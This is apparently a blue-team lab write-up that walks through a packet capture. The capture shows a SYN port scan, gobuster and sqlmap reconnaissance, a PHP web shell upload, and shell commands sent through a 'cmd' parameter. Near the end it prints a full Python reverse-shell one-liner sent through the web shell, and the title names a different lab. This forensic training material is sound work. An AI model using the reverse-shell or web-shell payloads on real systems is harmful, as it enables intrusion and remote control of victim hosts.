

Blue Team Labs Online: Memory Analysis - Ransomware

The following writeup is [for Network Analysis – Web Shell](#) on Blue Team Labs Online, it's an easy lab that involves analysing a pcap file using tools such as Wireshark or tshark. Anyone knew to network forensics should give this challenge a go as it covers a lot of the basics.

Scenario: The SOC received an alert in their SIEM for 'Local to Local Port Scanning' where an internal private IP began scanning another internal system. Can you investigate and determine if this activity is malicious or not? You have been provided a PCAP, investigate using any tools you wish.

What is the IP responsible for conducting the port scan activity?

If we open up the pcap file, the first thing I like to do is look at the conversation statistics (statistics > conversations):

Ethernet	IPv4 · 19	IPv6 · 7	TCP · 1284	UDP · 38							
Address A	Address B	Packets	Bytes	Packets A → B	Bytes A → B	Packets B → A	Bytes B → A	Rel Start	Duration	Bits/s A → B	Bits/s B → A
10.251.96.4	10.251.96.5	15,883	4 MB	7,604	1 MB	8,279	3 MB	103.555573	770.7471	10 kbps	27 kbps
172.20.10.5	172.20.10.2	1,324	215 kB	767	113 kB	557	102 kB	1.939795	897.8989	1006 bits/s	905 bits/s

The conversations between 10.251.96.4 and 10.251.96.5 immediately stand out to me. If we look at the TCP tab and filter based on Port B, we can clearly see that 10.251.96.4 is port scanning 10.251.96.5:

Address A	Port A	Address B	Port B	Packets
10.251.96.4	41675	10.251.96.5	1	2
10.251.96.4	41675	10.251.96.5	2	2
10.251.96.4	41675	10.251.96.5	3	2
10.251.96.4	41675	10.251.96.5	4	2
10.251.96.4	41675	10.251.96.5	5	2
10.251.96.4	41675	10.251.96.5	6	2
10.251.96.4	41675	10.251.96.5	7	2
10.251.96.4	41675	10.251.96.5	8	2
10.251.96.4	41675	10.251.96.5	9	2
10.251.96.4	41675	10.251.96.5	10	2
10.251.96.4	41675	10.251.96.5	11	2
10.251.96.4	41675	10.251.96.5	12	2
10.251.96.4	41675	10.251.96.5	13	2
10.251.96.4	41675	10.251.96.5	14	2
10.251.96.4	41675	10.251.96.5	15	2
10.251.96.4	41675	10.251.96.5	16	2
10.251.96.4	41675	10.251.96.5	17	2

What is the port range scanned by the suspicious host?

If you look at the TCP tab in the conversations window, you can click the Port 8 column to list from lowest to highest dst port:

Address A	Port A	Address B	Port B
10.251.96.4	41675	10.251.96.5	1
10.251.96.4	41675	10.251.96.5	2
10.251.96.4	41675	10.251.96.5	3
10.251.96.4	41675	10.251.96.5	1022
10.251.96.4	41675	10.251.96.5	1023
10.251.96.4	41675	10.251.96.5	1024

You can see that it scans from 1-1024.

What is the type of port scan conducted?

If you look at the port-scan traffic, it becomes immediately apparent that this a TCP SYN port scan:

217	103.560997437	10.251.96.4	10.251.96.5	TCP	62 549	41675 → 549 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
218	103.561000145	10.251.96.5	10.251.96.4	TCP	56 41675	549 → 41675 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
219	103.561006261	10.251.96.4	10.251.96.5	TCP	62 949	41675 → 949 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
220	103.561008136	10.251.96.5	10.251.96.4	TCP	56 41675	949 → 41675 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
221	103.561073484	10.251.96.4	10.251.96.5	TCP	62 314	41675 → 314 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
222	103.561077037	10.251.96.5	10.251.96.4	TCP	56 41675	314 → 41675 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
223	103.561127827	10.251.96.4	10.251.96.5	TCP	62 386	41675 → 386 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
224	103.561130938	10.251.96.5	10.251.96.4	TCP	56 41675	386 → 41675 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
225	103.561139479	10.251.96.4	10.251.96.5	TCP	62 783	41675 → 783 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
226	103.561141387	10.251.96.5	10.251.96.4	TCP	56 41675	783 → 41675 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
227	103.561147577	10.251.96.4	10.251.96.5	TCP	62 359	41675 → 359 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
228	103.561149346	10.251.96.5	10.251.96.4	TCP	56 41675	359 → 41675 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
229	103.561156084	10.251.96.4	10.251.96.5	TCP	62 548	41675 → 548 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
230	103.561157983	10.251.96.5	10.251.96.4	TCP	56 41675	548 → 41675 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
231	103.561193820	10.251.96.4	10.251.96.5	TCP	62 662	41675 → 662 [SYN] Seq=0 Win=1024 Len=0 MSS=1460

You can see that it is constantly initiating a connection with SYN.

Two more tools were used to perform reconnaissance against open ports, what were they?

If you look at the protocol statistics, we can see that HTTP traffic was captured as well. Let's craft a display filter that looks for HTTP traffic and removes certain user-agent strings from the results:

```

| ip.addr==10.251.96.4 && ip.addr==10.251.96.5 && http.user_agent != " " && http.user_agent != "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"

gobuster/3.0.1
gobuster/3.0.1
gobuster/3.0.1
sqlmap/1.4.7#stable (http://sqlmap.org)
sqlmap/1.4.7#stable (http://sqlmap.org)
sqlmap/1.4.7#stable (http://sqlmap.org)
sqlmap/1.4.7#stable (http://sqlmap.org)

```

If you look through the user-agent strings, we can see that Gobuster is being used to enumerate directories and sqlmap is also being used. The answer is therefore Gobuster 3.0.1, sqlmap 1.4.7

What is the name of the php file through which the attacker uploaded a web shell?

Seeing as we are told that the attacker uploaded a web shell through a php file, we can craft a basic display filter to look for only results that contain php and are not related to scanning activity:

```
ip.addr==10.251.96.4 && ip.addr==10.251.96.5 && http.request.uri contains php and http.user_agent != "gobuster/3.0.1"
```

If you examine the results, we can see a POST request to /upload.php:

```
POST /upload.php HTTP/1.1 (application/x-php)
```

After examining the packet details pane, we can see a Referrer link:

```
Referer: http://10.251.96.5/editprofile.php\r\n
```

A referrer indicates the URL of the page a user was on before reaching the current page, so with this knowledge, we know the name of the php file is editprofile.php.

What is the name of the web shell that the attacker uploaded?

Using the same filter as we did previously, we can clearly see that the web shell is dbfunctions.php:

```
GET /uploads/dbfunctions.php HTTP/1.1
GET /uploads/dbfunctions.php?cmd=id HTTP/1.1
GET /uploads/dbfunctions.php?cmd=whoami HTTP/1.1
GET /uploads/dbfunctions.php?cmd=python%20-c%20%27import%20socket,subprocess,os;
```

What is the parameter used in the web shell for executing commands?

The parameter used is cmd.

What is the first command executed by the attacker?

id

```
GET /uploads/dbfunctions.php?cmd=id HTTP/1.1
```

What is the type of shell connection the attacker obtains through command execution?

If you examine the last command uploaded to the web shell, we can clearly see python being used to create a reverse shell:

```
GET /uploads/dbfunctions.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.251.96.4%22,4422));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-1%22]);%27 HTTP/1.1
Host: 10.251.96.5
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=10b3rrv35ctuvv7vlnsfr6ugjt
Upgrade-Insecure-Requests: 1
```

The victim machine (in this case, 10.251.96.5) connects back to 10.251.96.4 on port 4422 which is the attacker machine.

What is the port he uses for the shell connection?

4422

```
s.connect(("2210.251.96.4",4422))
```